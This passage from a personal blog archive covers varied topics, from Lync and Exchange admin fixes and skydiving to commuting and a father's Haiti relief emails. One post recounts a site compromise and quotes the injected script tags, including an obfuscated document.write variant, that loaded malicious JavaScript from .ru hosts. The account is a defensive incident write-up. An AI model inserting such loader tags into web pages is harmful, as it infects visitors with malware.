    "This slide couldn't be downloaded. Please contact your support team. Error reason: File not found."

    Those users who logged in with the Web App would see:

    "Failed to Download the Slide."

    File attachments gave similar errors, indicating the file was no where to be found.

    I called Microsoft, and my support rep immediately had me look in IIS at the Basic Settings of the MeetingContent and MeetingFiles Folders.


    The folder was still pointing to my old server. Both linked articles above left this step out. So I changed the directories to the new File Store location and rebooted the servers later that night. One important thing to do after changing this pointer was to run the Step 2: Setup or Remove Lync Server Components in the Lync Server Deployment Wizard. I think this step writes some permissions to the new File Store folders.

    This is definitely an issue that Microsoft needs to fix. The server not running virus scan software is locked down pretty good, but my next step is to experiment with alternatives to McAfee, or installing it with certain exceptions. Hopefully this post help some of you Lync administrators out there.

  • Skydiving at Skydive the Farm

  • Skydiving was on both my bucket list and my wife's bucket list, so we put together a skydiving trip for her birthday this year. About a year ago at CocoaCamp, I heard a guy over lunch talk about going to Skydive the Farm a lot, and after a bit more research, I discovered that it is probably one of the best places within reasonable driving distance from us. So we went, and it was awesome.

    My instructor, Ryan, had jumped more than 6000 times, and Nikole's instructor, Big Steve, had jumped more than 3000 times, so we felt like we were in good hands. I don't know Nikole's exact numbers, but I took a picture of my stats from Ryan's Altimaster Neptune altimeter:


    I jumped at 14,500 feet, and 63 seconds later (and topping out around 130 mph), Ryan pulled the ripcord at 3900 feet (about 2 miles in a minute!). 189 seconds after that, we made a soft landing. Here's the graphical representation of my dive.


    Here's the video from my dive, and some of the best pics.

    317797_2341191767132_1170074961_2720404_2486096_n    IMG_4565    IMG_4579

    IMG_4587     IMG_4600     IMG_4601

    IMG_4620     IMG_4629     IMG_46601

    IMG_4665     IMG_4678     IMG_4685

  • Public Transportion in Greater Atlanta

  • Ever since I came to Atlanta, I was always convinced that public transportation here is pretty terrible. This is evident to anyone to takes a quick look at the map of MARTA. Just compare the MARTA map to the T map in Boston (I recently went on a family vacation to Boston, and the MBTA has quite and impressive transportation system).


    After spending a few days in Boston, I began wondering if I really could take public transportation in this urban sprawl of a city. I live in Dacula, GA, which is about 37 miles from my office. If I leave the house at 6:15AM, it takes about 0:45 to get to work. If I leave work at 4:00PM, it takes about 1:15 to get home. This puts me on the road for about 2 hours per day, driving about 74 miles. This becomes kind of a drag, so I decided to try the bus.

    The most convenient bus route for me is the Xpress GA 411 route. The bus leaves the Mall of Georgia at 6:30 and drops me off in Midtown Atlanta a little bit before 7:30. I have to leave my house at 6:15 and drive 7.1 miles to the bus stop, and then I have to walk 0.8 miles from the midtown bus stop to my office, arriving to work at roughly 7:40. I then can leave work at 4:40 to catch the 5:00 outgoing bus to arrive back at the mall at 6:10. Then I drive home and arrive around 6:20PM.

    I wondered just how much time/money I lost/gained by doing this experiment. So here's a summary that takes everything into account:

    Note: I take the BMW to the bus stop so that my wife puts more miles on the Honda to save gas. And she prefers the Honda anyway because it is an automatic.

    No Public Transportation Public Transportation
    MPG (2011 average) 30.4 23.48
    Round trip in car 74 14.2
    Gallons used per round trip 2.4342 0.6048
    Gas price/gal (7/26/11) $3.72 $4.02
    Average gas cost per round trip $9.06 $2.43
    Round trip bus ticket $0.00 $7.00
    Total Cost $9.06 $9.43
    Time spent away from home 11 hours 12 hours

    On the surface, it looks like it's not worth it, because it costs $0.37 more to take the bus, and it takes another hour out of my day. If you dig a little deeper, though, there is more to it than just finances and time.

    • Because my wife would be taking the lower-cost Honda to her work, that saves $0.76.

    • In mileage and wear-and-tear on our cars, we are putting 1.2 fewer miles per day on the BMW and 58.6 fewer miles per day on the Honda. That has to count for something

    • Taking the bus frees up time to do stuff on the bus that I'd normally do at home, like read (or maybe develop iOS apps?!). This isn't a 1-to-1 match on time, but it's definitely worth some value.

    • (Update) I forgot to mention that riding the bus also adds an automatic 1.5 miles of walking into my day.

    I really enjoyed the "public transportation experiment", and I'd be willing to do it regularly. After going through it many times, my opinion may change, but it certainly reduces the stress of driving a car for 2 hours every day, and it's an environmentally responsible thing to do. When we move closer to the city (hopefully soon!), if bus stops are conveniently located, then I might consider taking the bus 100% of the time. And who knows, we might be able to get rid of a car also!

  • Henry Ford on Learning

  • I came across this quote while reading my devotional from June 9th (yeah, I'm slightly behind).

    "Anyone who stops learning is old, whether at twenty or eighty. Anyone who keeps learning stays young. The greatest thing in life is to keep your mind young."

    -Henry Ford

    That's pretty brilliant, and a motto I hope to keep. The devotional had an interesting perspective, saying that we can learn so much from older Christians. God worked in previous generations' lives (see Psalm 44:1-3), and we can learn from older folks' experiences.

  • On Learning...

  • Over the past few months I did a little bit of iPhone programming at work, and being such a novice in the area of Cocoa programming, I looked around for a more focused selection of podcasts to listen to during my long commute. I came across the Build & Analyze podcast over at 5By5, which is hosted by Dan Benjamin, but the majority of it is Marco Arment spewing his thoughts about iOS programming, coffee, and life in general.

    As I listen to each episode, I'm figuring out that in a lot of ways, Marco thinks a lot like I do (or at least how I want to think). I may banter about more of his thoughts in future posts, but for now, I couldn't agree more with his stance on learning and putting yourself in challenging situations in the Desk and Balls episode. When he was coming out of college, he talked about how he thought he knew everything, but his first job quickly showed him that this wasn't true. That moment for me, however, was when I got to college, and Georgia Tech showed me that I didn't know anything (and I didn't know how to learn, either). Fortunately, I eventually learned how to learn by the time I graduated, which is what college is really all about.

    Marco goes on to say that his first job kicked him in the butt, and he was surrounded by people that were so much smarter than him. He was able to learn and absorb all kinds of knowledge and techniques about writing code that he didn't already know. I love this mentality. While my job probably isn't as challenging to me as Marco's first job was for him, it's still a challenge and I learn new things every day, and I am surrounded by a lot of people that are a lot smarter than me. Also, this concept is one reason I attend CocoaHeads and read blogs about programming that are way over my head, because being around those people and thoughts grows my own understanding of the Cocoa programming world.

    Unrelated to careers and programming, though, I recently had an experience that kicked me in the butt, but it forced me to learn. My church small group leader asked me to lead a discussion on Galatians 3 and 4. I've been a Christian for a long time, and I'm familiar with Galatians, but I don't think I've ever read through those chapters to really study them (except for when I read through the Bible in high school, which was way too long ago to count). It was essentially all new material to me, other than the premise that we are saved by faith and not by works. Studying Galatians with the mindset of leading a discussion on it forced me into a very uncomfortable position, but in the end, I learned a lot about these two short chapters and how they related to the rest of the Bible. The people in our small group are way smarter than me, which put a lot pressure on me, but in the end, I really enjoyed my preparation time, and we all had a good time discussing our perspectives on these chapters. I hope to keep studying the scriptures on my own in a similar way.

    What challenging situation have you been in lately?

  • Digital Retina Exam

  • I recently got my eyes checked so that I could get new specs. This practice was pretty cool for a couple of reasons. They are open late on some weekdays to accommodate more people who don't want to take sick leave from work, which is something I think a lot of doctors should consider doing (as well as closing on a week day and opening on Saturdays). This eye doctor also used an iMac outfitted with a custom eye chart app. He wouldn't tell me any details about it when I asked, so maybe it's some proprietary thing.

    The coolest thing this eye doctor did, though, was give me a digital retina exam, where he put a camera really close to my pupil and took a photograph of my retina. The pictures are so cool I thought I'd share them here. I think the first photo is my left retina and the second is my right retina, but I could have them backwards.



  • Goals for 2011

  • I decided I should make a list of pseudo-resolutions for myself for 2011. Life has changed a lot recently (for the better, by far), and I need to focus on doing fewer things better. By posting the list to this blog, hopefully that can help me hold myself accountable. I'm open for other suggestions/modifications, too.

    Update: The ones I have already accomplished are struck through

    Travel to two or more states I've never been to

    Build a useful iPhone app

    Read at least one book a month (audio or non-audio)

    Build a clock

    Read the Bible through (Daily Walk magazine)


    Sell a house (in Dacula) and buy a different house closer to the city

    Run more (10 miles a week?)

    Gain 10 pounds (in muscle only)

    Get Vanguard Roth IRA set up

    Get a will set up

    Discover a new restaurant once a month for date-nights

  • I Just Saved Blue Like Jazz

  • Screen-shot-2010-10-02-at-3.12.40-PM

    Ok, I didn't save Blue Like Jazz, but I helped out a little bit. In short, a friend of mine, Zach Prichard (actually, he's one of my brother's former roommates), and a friend of his recently read on Donald Miller's blog that lack of funding had cancelled production on a film version of the book Blue Like Jazz. They pulled some all-nighters and put together an awesome campaign on Kickstarter to raise funds. This book is one of my favorites, and I would absolutely love to see a movie version of it. If you haven't read it, borrow a friend's copy or get it from somewhere like Amazon.

    If you're interested in helping to save Blue Like Jazz too, then check out the following video, or read all about it at savebluelikejazz.com or check out the Kickstarter page.

    Save Blue Like Jazz from Save Blue Like Jazz on Vimeo.

  • iPad Car Mode

  • I have been enjoying the beta of iOS 4.2 on my iPad for a while. Ever since the audio jack on my 2nd generation iPod Touch went bad, I have been using my Droid Incredible to listen to Audible audiobooks and I've been using my iPad as a (very large) iPod in my car to listen to podcasts.

    This iPad as an iPod idea works great until someone tries to call me while I'm driving down the road. I've learned to keep my phone in the center compartment so it's easy to grab in this situation. However, the process goes something like this: • Hear phone ringing • Slide to Unlock the iPad and then enter the passcode • Touch the screen once (because the iPod app is retarded and doesn't show the Play/Pause buttons by default • Find the Play/Pause button and press it • Answer phone

    Here's the process in pictures:

    iPad screen after pressing Home once     iPad screen after Sliding to Unlock     iPad screen after unlocking and then touching the screen once

    With the iOS 4.2 Beta, Apple has made this process a lot easier with multi-tasking, as I just discovered the other day. With multi-tasking, I can press the Home key once to turn the screen on, then double-tap the Home button to make the Play/Pause and Back/Forward buttons appear, as shown below:


    This is all well and good, but I think they need to take it a step further. When I'm in my car, I don't need to have to look at the screen to find the Play/Pause button. It's easy to accidentally hit the Previous Track or Next Track buttons, and that can really disrupt things. I think the Play/Pause button should be in the middle of the screen and it should be HUGE. I need to be able to press it with my whole fist if I wanted to. So I threw together a mockup. (Please forgive my design skills, I didn't want to spend hours on this post just making the picture look good).


  • So Long, Clear WiMax...

  • I shipped my Clear WiMax devices back to Clear today. It was fun while it lasted. See my previous post about my experiences with them. Overall I say that Clear is great, except you start to feel its slowness when you want to download anything more than a small file, and you also feel it when you need to upload anything. VoIP works, and video chat works decently.

    My final comment about Clear, and then I'll probably never mention it again on this blog...  When you sign up for a 2-year contract to lease the equipment, it truly is a 2-year contract. I tried explaining to them that I was getting married and moving to a location where there is absolutely no Clear service, but I still had to pay the termination fee. Seems kind of silly to me, but I just had to suck it up and pay the $80.

    So long, Clear WiMax. I'll miss you, but I'm looking forward to my speedy Comcast connection.

  • iPad iOS 4.2 Beta - First Impressions

  • I've been playing around with the new iPad beta of iOS 4.2 a little bit today, and thought I'd share my first impressions really quick on some of the new features (and bugs).

    • Folders I already knew this was what i was most looking forward to, because i had about 3.5 pages of apps on my iPad, and I have already enjoyed the benefits of folders on my iPod touch running the iOS 4.0 beta. Now i have everything on one (yes, one!!) page (note: you see 2 pages in the screenshot, I just didn't take the time to file away the Wordpress app that I just downloaded to the iPad to write this post). This is killer, and it'll save me a lot of navigation time.


    • Multi-Tasking This feature is huge. When i first heard about it, i thought it was just going to be a nice feature, it is quickly becoming my favorite feature. I don't care so much that things are running in the background, but i do benefit from being able to double-tap the home button and see my running apps at the bottom. It saves time because i don't have to hunt for the app i want to switch to, much like folders save time.


    • Orientation lock and Brightness slider Apple converted the orientation lock switch on the side of the iPad to a mute switch. What was so hard about just holding down the Volume Down button?! Now the orientation lock button requires double-tapping the home key (a la app-switching) and then swiping the app switcher to the right, then hitting the orientation lock button. Really stupid. However, they have also put a brightness slider on that same "taskbar", which is really convenient because i don't have to navigate out to the Settings and then drill to the brightness settings. Again, it's all about saving time and keystrokes. Apple should let me choose how i want the physical, former orientation lock on the side of the ipad to behave - Mute OR Orientation Lock!


    • WiFi I know this is a beta operating system, but there are some serious bugs with the wifi aspect of iOS 4.2. I tried joining multiple networks and the whole Settings interface would just freeze until I exited to the home screen. Eventually I was able to connect by simply continuing to type in the WPA keys, but this is something that will definitely need to be fixed before primetime.

    • Final Note - I downloaded the Wordpress app to write this post, and for the most part it worked okay. I had to go back in and edit the post with my laptop, though, because the iPad app doesn't insert pictures properly. It just adds them all to the end of the post. I guess in some cases this is acceptable, but most of the time it will require more than just the iPad to write a post (if the post contains extra media types).

  • Russian Javascript Injections - pocketbloke.ru, chickcase.ru, and shirtdifficulty.ru

  • It's not every day that you get an email from Google, saying they blocked your domain:

    We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com.

    At first I thought it was spam in my inbox, since the subject was "malware notification regarding awakeimages.com". A couple days later, though, I visited my site, www.awakeimages.com, and found this shocker instead of my homepage:


    I knew I hadn't touched my website in about a week, and it was working just fine at that point. After a quick search, I realized that email from Google wasn't spam, and I needed to take some action because all of our customers were seeing this error, and that's certainly not good for business. Apparently the mainstream browsers use Google's malware crawler as a filter against infectious sites, and once you're on that list, you have to proactively get yourself off, much like being on an email spam blacklist.

    I had to sign up for Google's Webmaster Tools (www.google.com/webmasters/tools) and insert some code into my website's header file to confirm I was the owner, and only then would Google's malware tools let me see what exactly was wrong with my site. Apparently they had crawled my site and found the following lines of code at the bottom of several of my pages:

    <script type="text/javascript" src="http://shirtdifficulty.ru/Kibibyte.js"></script>


    <script type="text/javascript" src="http://chickcase.ru/Raw_Data.js"></script>

    Sometimes the hackers got more sneaky with it and put this line into the code:

    document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/

    I found this great post by Nate Stiller, and it turns out this is a vulnerability with FileZilla, which I use on my work computer because basically all Windows FTP clients suck (shout out to Panic's Tansmit FTP app!). Nate has written a script that will go through your entire website and detect instances of these malware sites. Not that I don't trust Nate, but I just don't like the idea of running a script that parses for a substring in every file on my server, but from the comments it seems that his script is quite successful. I personally had my hosting provider give me a list of all files with links to a .ru domain name, and I cleaned up each file they found.

    The hackers also broke into my paulbrown.us domain and trashed the wordpress files (among others), so I chose to use this as an opportunity to upgrade to the latest version of Wordpress, in the meantime wiping out all the corrupted files  :-). Worked like a charm.

    Lessons learned here:

    • backup your server frequently so you have something to go back to

    • don't use FileZilla (I'm still looking for a good Windows FTP client)

    • use secure FTP accounts on your server

    Pretty basic stuff, but it's worth mentioning. Hopefully this post will help anyone who encounters this problem and finds this page.

    (ADDED ON 8/26) I should probably also add that it's a pretty good idea to do a full virus scan on your computer if you find yourself in this situation. A local virus/trojan is very likely what "stole" the passwords out of FileZilla.

  • Ignite Atlanta 2 quick wrap-up - 4/19/10

  • Ignite Atlanta 2 was held at the Georgia Aquarium Oceans Ballroom last night, and it turned out to be mildly entertaining. If you're not familiar with Ignite, it is basically an event where presenters talk about stuff they are passionate about, and their 20 slides are automatically advanced every 20 seconds.

    First, I'll mention the negative stuff. The backnoise channel, in all its snarkiness, never fails to bring the cold hard truth, and that is that the event simply had too many sales pitches for people's companies or products. Some of the comments left on the Meetup page sum it up the best, though.

    Ignite Events are supposed to be passion- or knowledge-transfers, and while last night's event definitely transfered some passion and knowledge, the company names could have been left out or minimized some. For example, the Happy Septic Tank guy could have easily spent time talking about septic tanks and why bacteria is necessary to make a septic tank function properly, but half of his slides were about how he marketed his product to Walmart, Lowes, and Home Depot. Several slides showed actual ads he used.

    Many other presenters had a similar pitchy tone, but I won't belabor the point. My advice to anyone presenting on a topic where they feel tempted to pitch their product would be this: talk about your industry and technology. Don't even mention your product name, and ONLY put your twitter address, or maybe your website address, on the last slide of your presentation.

    Despite the complaints above, there were some great presentations. My favorite was Creighton Holt's talk on the F-35 Joint Strike Fighter, where we learned that fighter jets are "really cool". He showed some great pictures of the cockpit and talked about the controls of the jet. Jiten Chhabra also had an informative and funny presentation on the problem of obesity. Among the other highlights of the night were Matt Smith talking about Hackintoshing (his slides are here), Karen MacKay talking about vertical gardening in urban areas, and Christine Penguino talking about exploiting the super powers of babies.

    Overall it was a fun night, and it was about what I expected. The Georgia Aquarium ballroom was a great facility, but it was a little cramped with most of us having laptops out. Also, it can't be repeated enough, that whenever you have a bunch of geeks at an event, the facility needs to plan for every single person having at least one device connected to the wifi. I will keep my eyes out for future Ignite ATL events, and I might even seek out some of the events in other cities in the future. Thanks to Patrick Nickles for putting on a fun event. If I find more links to any of the presentations mentioned above, I'll update this post.

  • 2010: Products I can't live without

  • This list was inspired by Kevin Rose's post about products he couldn't live without. So here are my products that I cannot live without in the year 2010, in no particular order (ok, maybe I could live without them, but they sure do make life easier/cooler):

    Google Voice

    Google Docs


    Twitter (Brizzly)

    Google Reader



    MacBook Pro

    Final Cut Pro


    Coda and Transmit

    Novara Bonanza bike


    Clearly a lot of these are luxuries, but I use all of them a lot. Did I miss any?

  • Dad in Haiti

  • presidential_palace
    Haiti President's Palace

    To start off, I'll admit that I stole this idea from my sister's blog, but it was such a good idea that I wanted to repeat it here. Also I have updated the photo gallery with almost twice as many pictures from dad's trip.

    Basically, Dad went to Haiti for a total of 16 days as a pharmacist with the Samaritan's Purse ministry. He had contacted Samaritan's Purse a few days after the earthquake hit to apply as a pharmacist, and they told him there wasn't a need for a pharmacist. As the story goes, the people from Haiti reported back to Samaritan's Purse days after they turned Dad away, saying they needed a pharmacist immediately, and asking if they had any pharmacists on-hand, ready to go. SP contacted Dad and soon after, Dad was in Haiti. The following is his correspondence with us. I think it gives a good glimpse of what was happening in Haiti, from the hospital's perspective.

    Dad sent me the collection of pictures he will be using as he talks to different groups, and I have posted them in my gallery. Check them out to get a non-national news perspective of what things looked like down there.

    Dad's Haiti Trip Photo Gallery Note: gallery temporarily unavailable while I'm revamping the site

    Date: February 4, 2010 8:36:59 PM EST

    We are here. Good flight over and we landed about 1pm.  Took 2 hours to get to hospital.  Port au Prince is a mess but things got better as we got out of town and up into the mountains.  It was continuous city from airport to the hospital. Got here around 3pm, got the tour, and they turned the pharmacy over to me.  Everyone here seems to be happy that I am here.  Spent til 7pm in pharmacy just orienting myself to what supplies that we have.  The pharmacy is nothing more than a large closet, no windows.  The hospital sort of shuts down at 7pm, We eat meals at 7am, 1pm, and 7pm, and then the hospital is sort of on its own at night with the Haitian nurses watching over the place.  The team that is here is good.  Friday will be a little more active and I will get more involved.  So far, so good.  I am well and everything has clicked OK so far.  Will try to communicate again but it may be a few days.    All my Love to everyone!         Tony

    Date: February 6, 2010 9:37:26 PM EST

    Hey to everyone.  All is well.  We worked this morning at the hospital, had lunch, went on a 4 hour trip to see the real ground zero of the earthquake.  After that we went to the other camp on the other side of Port au Prince and saw that part of the Samaritan's Purse that is working in Haiti.  We got back at 6pm, ate supper and headed to the hospital to catch up on all that we missed out on this afternoon.  Got back after 9pm and I hope to get my first shower tonight.  The team here is good, with 2 leaving today and us adding 2 new ones.  I have a new roommate from Kansas.  Food is good.  Last night not much sleep.  Work is good and not hard.  I am doing the pharmacy and spending some time in the rooms with our staff and patients.  Everyone is here for the right reasons and their priorities are right and the Lord is truly the Lord of their lives. Hope all is well.   Love to all of you. DAD/Tony

    Date: February 11, 2010 9:43:30 PM EST

    Hello for Haiti!  Things are going real well here. We actually have empty beds in the hospital but there are still patients with earthquake injuries in the hospital and they are still showing up for treatment.  It has really settled down.  Samaritan's Purse has now committed to be here through March and discussions are underway to go past that.  Four of our team left today and eight will leave on Saturday, which will leave only 4 of us here for about 8 hours until a new team that is mostly Canadian joins us.  There are a lot of great stories happening here and none can be explained by man so we are just trusting that God is adequate and He is still in control.  The current team is still good and it is the 4 of us left on Saturday to transition this operation over to the new arrivals. There is very little overlap between teams now.  I watched a C-Section today and held the baby that was probably less than 15 minutes old. Probably did not do that with my own children. Things are expected to be slow for the next few day because Haiti has designated Feb 12-14 and a time of national mourning.  Our cooks are gone as of today so we are on our own for a few days.  I think we will survive.  Temperature here is about 85 each day and we are all working in T shirts and scrubs. Such a difference in medicine in a 3rd world country as compared to the US.  Hospitals have no private rooms, grand pianos, water walls, or air conditioning.  Our internet has been out for more than a day, and most of the computers are leaving Sat.  Do not know when the next communication will be.  Hope everyone has a great (and chilly I understand) Happy Valentine's Day. All my love,   DAD/Tony                                                 Psalms 91:1-2

    Date: February 12, 2010 9:58:15 PM EST

    It's Friday night in Haiti and it was a wonderful sun shiny day of about 85 here at the Baptist Mission.  We are into to now turning the hospital back over to the local doctors but that full transition will take place over the next 4-6 weeks.  Feb 12-14 is 3 day national holiday for the mourning of those lost in the earthquake.  The church on our compound seats about 600 and there was over 1000 in attendance today.  They were lined up around the walls and into the streets.  They started before 8am and went to 12noon, with about 3 hours of that being singing.  The pharmacy is located through the wall from the sanctuary so I got a full dose of that service.  We had a great fellowship tonight with the missionaries with the 8 that are leaving the medical team tomorrow sharing their thoughts.  The common theme was the love and thankfulness of the Haitian people towards us being here.  We are truly the ones being blessed by a people that have so little in material possessions but have such a dependency on the most important thing, the Lord and His acceptance of all of us no matter what our circumstances.  There will only be 4 of us here for about 8 hours on Sat and then we start all over with a new team in a new week.  It is great being here.  I just hope that I have made it a little better for someone that is here.  I understand that it is not favorable weather at home and that is probably the only thing that I dread about getting back to SC, USA.   God Bless All Of You, All My Love,   DAD/Tony Psalms 91:1-2

    Date: February 15, 2010 8:56:31 PM EST

    Monday in Haiti was a very busy day.  Even though many of the earthquake victims have been discharged, there is still some major efforts having to be done with those that we still have.  Our sickest patient with a spinal cord injury from laying under a fallen wall for a long time was medEvaced to the US today.  This has been being worked on since before we got here and it all of a sudden happened today when the Navy called and said their helicopoter was on the way.  Another patient needed parenteral nutrution and I was able to find 4 bottles stashed away and only out of date by 6 months.  We started it today and are trying to work it in between antibiotics so that we don't blow the IV line.  Very interesting practicing medicine in a stop and go world when we are so used to running absolutely on schedule and everything expected at a moments notice.  An 8 person Canadian team joined us on Sun and it is amazing how quickly people can come together when the same goals and beliefs are common.  We are seeing a lot of things happen here that are out of the ordinary and know that we are just observers to something that is coming from a Higher Power.  Sunshine and clouds here and still 70-85 degrees every day.  We are blessed and know that we are in to turning this hospital back over to the Haitians.   May God Bless. See all of you soon! DAD/Tony                                                             Psalms 91:1-2

    Date: February 17, 2010 7:45:04 PM EST

    It is now about 8pm in Haiti on Feb17.  I have completed my service and assignment with Samaritan's Purse at the Haiti Baptist Mission.  It has been a great 2 weeks, I have worked every day with varying hours, and I have made many new friends in the process (American, Canadian, Dutch, British, Haitian and many others).  Hopefully this time has been good for the people of Haiti, we know we have had positive results, and the ultimate and final will probably not be know in this lifetime.  On Thurs morning, the 4 of us that are leaving will go through a debriefing at 8am, we will begin our journey down the mountain at 10am to make the 30+ hour time period of travel to hopefully get home on Friday evening.  Thanks for all the prayers, support, and help in allowing me to be a part of this.  I only hope that Haiti is a little better off and I know that I have learned and been blessed by this experience. See all of you soon.          DAD/Tony                         Psalms 91:1-2

    Date: February 20, 2010 10:11:52 AM EST

    YES! I am back on US soil, in my own home with running and hot water and a great bed to sleep in.  It is a blessing to be an American and have the privilege of living in this country.  God was good to all of us on the trip. Those that are Christians in Haiti are a part of a church that is alive and well.  The medical team that I worked with was amazing and we always seemed to instantly become a family with a common cause once we met and went to work.  There has to be something about this Christian thing and the common purpose for which we were there.  Personally, all of the work to be done in Haiti is so overwhelming, I feel like I may have accomplished the equivalent as compared to that one grain of sand on the beach.   Thanks for all of your prayers and support.  I look forward to seeing all of you real soon.  Hope that each of you will some day be able to take a trip with this kind of experience.

    All My Love,      DAD/Tony

  • Scratch off Lottery Ticket Fun

  • IMG_0917 The 7 losing tickets

    Over Christmas I played a game I almost never play: the lottery. I thought it would be fun to get a scratch off ticket from each state on our way from Georgia to Pennsylvania and see how much luck I could have.

    Pictured above are the tickets that I still have because they didn't win any money for me. Not shown are the two tickets that did win. Of course I expected to lose money on the whole experiment, and that's exactly what happened. I also tried to get holiday-themed tickets, to make it more festive.

    Here are some stats for you:

    Overall stats: I paid $15 and won $3 of that back.

    Georgia: $2 ticket; 1 in 4.21 odds, including breaking even.

    South Carolina: $2 ticket. Won $2 back. 1 in 3.91 odds.

    North Carolina: $2 ticket. 1 in 4.22 odds

    Virginia: $1 ticket. 1 in 4.49 odds

    West Virginia: $2 ticket. 1 in 4.35 odds.

    Maryland: Two $1 tickets. 1 in 4.13 odds for losing ticket. Won $1 back on other ticket. I guess I was feeling lucky in MD.

    Pennsylvania: $3 ticket. 1 in 3.98 odds. This one was the most fun (the big green one)

    New Jersey: $1 ticket. Did not state the odds, but the website says "better than 1 in 5".

    Obviously this is all fun and games, and I wasn't playing to win, I was playing to have fun. A good friend of mine calls the lottery the "stupid person" tax, and I whole-heartedly agree, because you're gonna lose in the long run no matter what happens. You just might get lucky, but don't count on it.

  • Adding a Mailbox Server Role to Exchange 2010: "Database is mandatory on UserMailbox"

  • I came across an interesting error while adding a Mailbox Server to my Exchange Server 2010 environment the other day. The error was pretty clear-cut, and the solution was also pretty simple, but very non-intuitive, so I thought I'd explain how to fix it here. To give full credit, I got my answer from this dialog on the Microsoft TechNET forums, and the fellow with the username Nair.SS helped my solve the problem. It turns out another individual was having exactly the same problem, and he got his issue solved as well. Many thanks to Nair.SS.

    The Error

    The error message is pictured in this screenshot, and I've included the text in the caption:

    AddExchangeMailbox_Error Error Message when trying to add a mailbox server to Exchange Server 2010.

    Here's the text from that error dialog box.

    The following error was generated when "$error.Clear(); if ( ($server -eq $null) -and ($RoleIsDatacenter -ne $true) ) { Update-RmsSharedIdentity -ServerName $RoleNetBIOSName }" was run: "Database is mandatory on UserMailbox. Property Name: Database".

    Database is mandatory on UserMailbox. Property Name: Database

    One important detail to include here is that I had two mailbox servers installed in this environment and I was unable to gracefully uninstall them. Thus I had to delete them out of Active Directory using ADSI Edit. I'm pretty sure this is what caused the problem.

    The Fix

    One of the mailboxes had incorrect settings in Active Directory, so I used ADSI Edit to edit that user.

    I connected to the Domain well known Naming Context in my root domain and found the user named CN=FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042. I'm not sure if all those numbers will be the same for everyone, but you can just find the FederatedEmail user. The homeMDB property was blank, so I inserted the CN value of an existing database into the value field, formatted as such:

    CN=db1,CN=Databases,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=GTRI,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=gtri,DC=test

    adsiedit_homeMDB After inserting the database value in the homeMDB field

    I went to install the additional mailbox role, and it installed without any problems. There was one other blog post found here that noted the particular error posted above, but the solution offered was different than mine. This error might have multiple solutions, but that post's proposed solution did not work for me.

    If you have anything to add, please leave it in the comments. Hope this helps!

  • Halloween 2009 - Cylon Jackolantern

  • Historically I am not much into participating in Halloween festivities, mainly because I can never come up with a great idea for a costume. Maybe next year that will change. This year, however, I did come across a site in my Google Reader (I don't remember which blog was the original source) that included a video blog from MAKE Magazine about making a cylon jackolantern.

    Here's the original MAKE video post about it:

  • Brizzly - a fresh new way to use Twitter

  • It seems like Twitter is all the talk around the tech news bubble these days. You can't listen to an episode of Buzz Out Loud or This Week in Tech (my two favorite technology podcasts) without at least one mention of this little social network that was more or less launched at the 2006 South By Southwest (SWSX) festival in Austin.

    On the surface, twitter seems kind of dumb. I explain it to friends as being like FaceBook, but only with the status update feature. That's about it, except people have built services on top of twitter that make it incredibly more useful than simply status updates. I won't go into all of those services here, but I have been beta testing one particularly useful way to interact with twitter, and that service is called Brizzly, created by the folks at thinglabs.


    Brizzly main page

    General Interface

    I've been testing Brizzly for almost two weeks now, and I've found that it just makes twitter easier to use. There aren't a lot of features to talk about, but they are well-implemented. The general interface is simple and well thought out. Posts appear in the center of the screen, and the sides contain navigation/filtering links and trending topics. On the left, you can choose to see your entire timeline or just your @replies or DM's, and you can create custom searches. A blue dot appears next to any item that has new messages. This is particularly useful for custom searches, as there is no need to use search.twitter.com any more! (there is also a search bar across the top of the Brizzly page, which is convenient). The trending topics are nice to have, and you can see an explanation of any topic by clicking it.

    A nice touch to these sidebar items is that they are stationary as you scroll down the page. Another nice feature is that when you get to the bottom of the timeline that is currently visible, the page automatically appends the next set of tweets, just like Google Reader does (funny thing, since two of the lead developers, Jason Shellen and Chris Wetherell, came from the Reader team).

    Also worth noting is that when you receive a Direct Message, a window appears above the trending topics with the message, and you can basically treat it like a chat window and respond to the message or close the window. And finally, regarding the general interface, it is nice that an asterisk is prepended to the site's title when there are new messages (like GMail's number of unread messages in its title). This means you don't have to keep refreshing the page to see if something new is there.

    Embedded Pictures/Videos and Unshortened URL's

    One killer feature is the in-line embedding of images and videos from TwitPic, Flickr, YouTube, and Vimeo, among others. This allows users to never have to leave the site to see pictures/videos that are posted using the most popular image and video hosting providers.


    Example of embedded images and videos

    While embedded pictures and videos has always been a feature, yesterday the Brizzly team added an image uploading feature into the service. As announced on TechCrunch, the images are hosted on the Amazon servers (that also host the Brizzly application), and they are given a http://brizzly.com/pic/*** link. This is a nice feature, but I think this might not be as universally friendly with the rest of the 140-character twitter world because of the longer links.

    Brizzly also expands URLs that have been created with any of the more-than-enough URL shorteners out there. For example, if someone posts a bit.ly link to twitter, I will see the original link, not the bit.ly link. This is really handy for security reasons, so I at least know what domain name I'm headed to when i click the link. Aside from security reasons, it's just kind of nice to see real links instead of shortened links all over the place.


    Like I said, I've been using Brizzly for almost two weeks, and I love it. There are some minor bugs, but this thing is still in beta, so that's perfectly fine with me. The one bug I have noticed the most is when Brizzly thinks I have new posts to the timeline, and I click refresh only to find no new updates. I've seen this happen on most browsers on both Windows and Mac.

    Overall, Brizzly makes it much easier to use twitter, and I'm looking forward to the Brizzly team rolling out new features as they come out of beta. If you use twitter, head on over to www.brizzly.com and sign up for an invite. It took about three weeks for me to get my invite after signing up.

  • Review: CLEAR WiMax in Atlanta

  • A lot of people complain about their Comcast service in Atlanta, but I can say I have been 99% satisfied with my Comcast cable internet service for the past three years. They give me 18+ Mbps down and 5-6 Mbps up regularly, and I've only had two or three very short outages.

    As good as Comcast is, though, the new WiMax service from CLEAR just might win me over. I missed their demo day in Atlantic Station, but after hearing about it, I went on a twitter search to hunt down a trial of CLEAR's service. I was able to get my hands on some WiMax equipment for only a short 48 hour test period over an already-busy weekend, but I was able to get some data points.


